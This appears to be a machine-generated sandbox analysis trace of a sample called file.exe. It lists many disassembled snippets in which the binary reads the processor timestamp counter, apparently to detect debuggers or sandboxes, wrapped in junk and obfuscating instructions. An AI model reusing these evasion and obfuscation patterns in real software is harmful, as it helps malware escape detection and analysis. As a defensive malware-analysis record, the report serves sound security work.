Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8C088 second address: F8C097 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007FB958B07016h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F89E93 second address: F89F31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 push eax 0x00000007 jmp 00007FB958FCD451h 0x0000000c nop 0x0000000d jno 00007FB958FCD450h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a pushad 0x0000001b jno 00007FB958FCD44Ch 0x00000021 jnp 00007FB958FCD446h 0x00000027 popad 0x00000028 mov dword ptr fs:[00000000h], esp 0x0000002f push 00000000h 0x00000031 push eax 0x00000032 call 00007FB958FCD448h 0x00000037 pop eax 0x00000038 mov dword ptr [esp+04h], eax 0x0000003c add dword ptr [esp+04h], 00000016h 0x00000044 inc eax 0x00000045 push eax 0x00000046 ret 0x00000047 pop eax 0x00000048 ret 0x00000049 push ecx 0x0000004a push eax 0x0000004b pushad 0x0000004c popad 0x0000004d pop ebx 0x0000004e pop edi 0x0000004f or di, D9D5h 0x00000054 mov eax, dword ptr [ebp+122D041Dh] 0x0000005a jmp 00007FB958FCD44Ah 0x0000005f push FFFFFFFFh 0x00000061 jmp 00007FB958FCD44Dh 0x00000066 nop 0x00000067 push eax 0x00000068 push edx 0x00000069 jnp 00007FB958FCD448h 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F89F31 second address: F89F37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E05A second address: F8E060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F89F37 second address: F89F3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E060 second address: F8E065 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8C1CA second address: F8C1D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8D2A2 second address: F8D2A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F89F3B second address: F89F3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E065 second address: F8E104 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnp 00007FB958FCD44Eh 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007FB958FCD448h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a push 00000000h 0x0000002c and edi, dword ptr [ebp+122D3B40h] 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push edi 0x00000037 call 00007FB958FCD448h 0x0000003c pop edi 0x0000003d mov dword ptr [esp+04h], edi 0x00000041 add dword ptr [esp+04h], 0000001Dh 0x00000049 inc edi 0x0000004a push edi 0x0000004b ret 0x0000004c pop edi 0x0000004d ret 0x0000004e add dword ptr [ebp+1244FBB3h], esi 0x00000054 mov ebx, dword ptr [ebp+122D2B19h] 0x0000005a xchg eax, esi 0x0000005b jg 00007FB958FCD45Eh 0x00000061 push eax 0x00000062 pushad 0x00000063 js 00007FB958FCD44Ch 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8D2A6 second address: F8D320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007FB958B0701Ah 0x0000000c pop edx 0x0000000d popad 0x0000000e nop 0x0000000f movzx ebx, si 0x00000012 push dword ptr fs:[00000000h] 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007FB958B07018h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 0000001Ah 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 call 00007FB958B0701Ah 0x00000038 cld 0x00000039 pop ebx 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 mov edi, ecx 0x00000043 mov eax, dword ptr [ebp+122D141Dh] 0x00000049 xor edi, 46369CA7h 0x0000004f push FFFFFFFFh 0x00000051 mov edi, dword ptr [ebp+122D3A38h] 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007FB958B0701Eh 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8C285 second address: F8C289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F0C8 second address: F8F0E8 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB958B07016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB958B07024h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F352 second address: F8F3F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push esi 0x00000007 jnp 00007FB958FCD44Ch 0x0000000d jl 00007FB958FCD446h 0x00000013 pop esi 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007FB958FCD448h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f push dword ptr fs:[00000000h] 0x00000036 adc edi, 622F91B5h 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 je 00007FB958FCD44Bh 0x00000049 mov ebx, 1A17A884h 0x0000004e mov eax, dword ptr [ebp+122D1021h] 0x00000054 mov dword ptr [ebp+122D28B7h], ebx 0x0000005a push FFFFFFFFh 0x0000005c push 00000000h 0x0000005e push eax 0x0000005f call 00007FB958FCD448h 0x00000064 pop eax 0x00000065 mov dword ptr [esp+04h], eax 0x00000069 add dword ptr [esp+04h], 0000001Dh 0x00000071 inc eax 0x00000072 push eax 0x00000073 ret 0x00000074 pop eax 0x00000075 ret 0x00000076 mov edi, eax 0x00000078 nop 0x00000079 jo 00007FB958FCD45Ch 0x0000007f push eax 0x00000080 push edx 0x00000081 jmp 00007FB958FCD44Eh 0x00000086 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F3F7 second address: F8F407 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jo 00007FB958B0701Eh 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F910AB second address: F910AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F910AF second address: F91109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB958B0701Ch 0x0000000b popad 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FB958B07018h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 sub dword ptr [ebp+122D296Bh], edi 0x0000002d push 00000000h 0x0000002f add di, 9F0Bh 0x00000034 push 00000000h 0x00000036 sbb bh, 00000012h 0x00000039 xchg eax, esi 0x0000003a push ecx 0x0000003b jmp 00007FB958B0701Ah 0x00000040 pop ecx 0x00000041 push eax 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 jbe 00007FB958B07016h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91109 second address: F9110D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9212A second address: F92130 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92130 second address: F92134 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F92134 second address: F92152 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB958B07022h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F921D7 second address: F921E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FB958FCD446h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38615 second address: F38632 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958B07025h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F932FE second address: F9339E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB958FCD451h 0x00000008 jnl 00007FB958FCD446h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007FB958FCD448h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 00000016h 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e push dword ptr fs:[00000000h] 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c push 00000000h 0x0000003e push edx 0x0000003f call 00007FB958FCD448h 0x00000044 pop edx 0x00000045 mov dword ptr [esp+04h], edx 0x00000049 add dword ptr [esp+04h], 00000015h 0x00000051 inc edx 0x00000052 push edx 0x00000053 ret 0x00000054 pop edx 0x00000055 ret 0x00000056 mov edi, dword ptr [ebp+122D226Eh] 0x0000005c mov edi, dword ptr [ebp+122D341Ch] 0x00000062 mov eax, dword ptr [ebp+122D04B9h] 0x00000068 add dword ptr [ebp+12448A47h], edx 0x0000006e push FFFFFFFFh 0x00000070 jns 00007FB958FCD44Eh 0x00000076 nop 0x00000077 push eax 0x00000078 push edx 0x00000079 jo 00007FB958FCD44Ch 0x0000007f jnl 00007FB958FCD446h 0x00000085 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F967B7 second address: F967D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB958B07029h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F967D9 second address: F96865 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB958FCD448h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov edi, dword ptr [ebp+122D38D8h] 0x00000011 push dword ptr fs:[00000000h] 0x00000018 sbb bx, 2CE6h 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 push 00000000h 0x00000026 push ebp 0x00000027 call 00007FB958FCD448h 0x0000002c pop ebp 0x0000002d mov dword ptr [esp+04h], ebp 0x00000031 add dword ptr [esp+04h], 00000016h 0x00000039 inc ebp 0x0000003a push ebp 0x0000003b ret 0x0000003c pop ebp 0x0000003d ret 0x0000003e jbe 00007FB958FCD446h 0x00000044 mov eax, dword ptr [ebp+122D0A91h] 0x0000004a push 00000000h 0x0000004c push ebp 0x0000004d call 00007FB958FCD448h 0x00000052 pop ebp 0x00000053 mov dword ptr [esp+04h], ebp 0x00000057 add dword ptr [esp+04h], 0000001Ch 0x0000005f inc ebp 0x00000060 push ebp 0x00000061 ret 0x00000062 pop ebp 0x00000063 ret 0x00000064 mov bx, D7E8h 0x00000068 push FFFFFFFFh 0x0000006a jp 00007FB958FCD44Ch 0x00000070 mov dword ptr [ebp+1244E75Ah], eax 0x00000076 nop 0x00000077 pushad 0x00000078 push eax 0x00000079 push edx 0x0000007a push eax 0x0000007b push edx 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F96865 second address: F96869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F97722 second address: F97726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F96869 second address: F9688C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958B0701Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FB958B0701Fh 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99A0A second address: F99A0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F987F1 second address: F987F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9FD03 second address: F9FD1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB958FCD454h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9FD1D second address: F9FD23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9FD23 second address: F9FD2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9F403 second address: F9F433 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB958B0701Dh 0x00000008 jns 00007FB958B07016h 0x0000000e popad 0x0000000f jmp 00007FB958B07023h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push edi 0x00000017 push esi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9F433 second address: F9F439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9F569 second address: F9F591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jns 00007FB958B07031h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6EA0 second address: FA6EBB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958FCD451h 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007FB958FCD446h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6EBB second address: FA6EEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958B07028h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FB958B0701Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA8912 second address: FA8965 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007FB958FCD44Fh 0x0000000f pushad 0x00000010 jmp 00007FB958FCD459h 0x00000015 jmp 00007FB958FCD454h 0x0000001a popad 0x0000001b popad 0x0000001c mov eax, dword ptr [esp+04h] 0x00000020 push eax 0x00000021 push edx 0x00000022 push ecx 0x00000023 pushad 0x00000024 popad 0x00000025 pop ecx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA8965 second address: FA896A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA896A second address: FA8983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FB958FCD44Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA8983 second address: FA89A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB958B0701Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jng 00007FB958B07028h 0x00000013 push eax 0x00000014 push edx 0x00000015 jbe 00007FB958B07016h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA89A3 second address: FA89A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA8A3C second address: FA8A57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB958B07026h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA8B52 second address: FA8B58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA8C35 second address: FA8C3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA8C3B second address: FA8C56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007FB958FCD453h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA8C56 second address: FA8C7C instructions: 0x00000000 rdtsc 0x00000002 je 00007FB958B0701Ch 0x00000008 je 00007FB958B07016h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FB958B07020h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA8C7C second address: FA8CC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB958FCD44Ch 0x00000008 jl 00007FB958FCD446h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [eax] 0x00000013 pushad 0x00000014 jmp 00007FB958FCD44Ch 0x00000019 jmp 00007FB958FCD44Eh 0x0000001e popad 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 jg 00007FB958FCD454h 0x00000029 push eax 0x0000002a push edx 0x0000002b js 00007FB958FCD446h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA8CC4 second address: DD1D11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 jc 00007FB958B0702Ch 0x0000000d jmp 00007FB958B07026h 0x00000012 jmp 00007FB958B07029h 0x00000017 push dword ptr [ebp+122D142Dh] 0x0000001d jno 00007FB958B07033h 0x00000023 call dword ptr [ebp+122D1BCDh] 0x00000029 pushad 0x0000002a jmp 00007FB958B07024h 0x0000002f xor eax, eax 0x00000031 pushad 0x00000032 jbe 00007FB958B0701Ch 0x00000038 mov bx, 2835h 0x0000003c popad 0x0000003d mov edx, dword ptr [esp+28h] 0x00000041 jmp 00007FB958B0701Fh 0x00000046 mov dword ptr [ebp+122D3A7Ch], eax 0x0000004c stc 0x0000004d mov esi, 0000003Ch 0x00000052 jc 00007FB958B0701Ch 0x00000058 add esi, dword ptr [esp+24h] 0x0000005c sub dword ptr [ebp+122D3374h], ecx 0x00000062 mov dword ptr [ebp+122D2BBDh], ebx 0x00000068 lodsw 0x0000006a jmp 00007FB958B0701Ch 0x0000006f add eax, dword ptr [esp+24h] 0x00000073 stc 0x00000074 mov ebx, dword ptr [esp+24h] 0x00000078 jmp 00007FB958B0701Ch 0x0000007d nop 0x0000007e push edi 0x0000007f pushad 0x00000080 jng 00007FB958B07016h 0x00000086 jmp 00007FB958B07028h 0x0000008b popad 0x0000008c pop edi 0x0000008d push eax 0x0000008e push edx 0x0000008f push eax 0x00000090 push edx 0x00000091 jmp 00007FB958B07020h 0x00000096 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FADCB4 second address: FADCB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FACA2F second address: FACA39 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB958B07016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FACA39 second address: FACA3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FACA3E second address: FACA5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB958B07026h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD2F3 second address: FAD2FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FB958FCD446h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAD9C4 second address: FAD9DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007FB958B0701Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB9C02 second address: FB9C21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB958FCD455h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB9C21 second address: FB9C27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB9C27 second address: FB9C2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F409F5 second address: F409FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FB958B07016h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB8658 second address: FB868F instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB958FCD454h 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007FB958FCD44Ch 0x0000000f pushad 0x00000010 jne 00007FB958FCD446h 0x00000016 push eax 0x00000017 pop eax 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b pushad 0x0000001c jl 00007FB958FCD44Eh 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB868F second address: FB8693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB890F second address: FB8917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB8917 second address: FB8923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB8BED second address: FB8C21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB958FCD457h 0x00000008 jmp 00007FB958FCD458h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB8D78 second address: FB8D97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FB958B07016h 0x0000000a jmp 00007FB958B07024h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB8F28 second address: FB8F31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB8F31 second address: FB8F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB9038 second address: FB9055 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007FB958FCD44Ah 0x0000000b je 00007FB958FCD446h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB91E0 second address: FB91E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
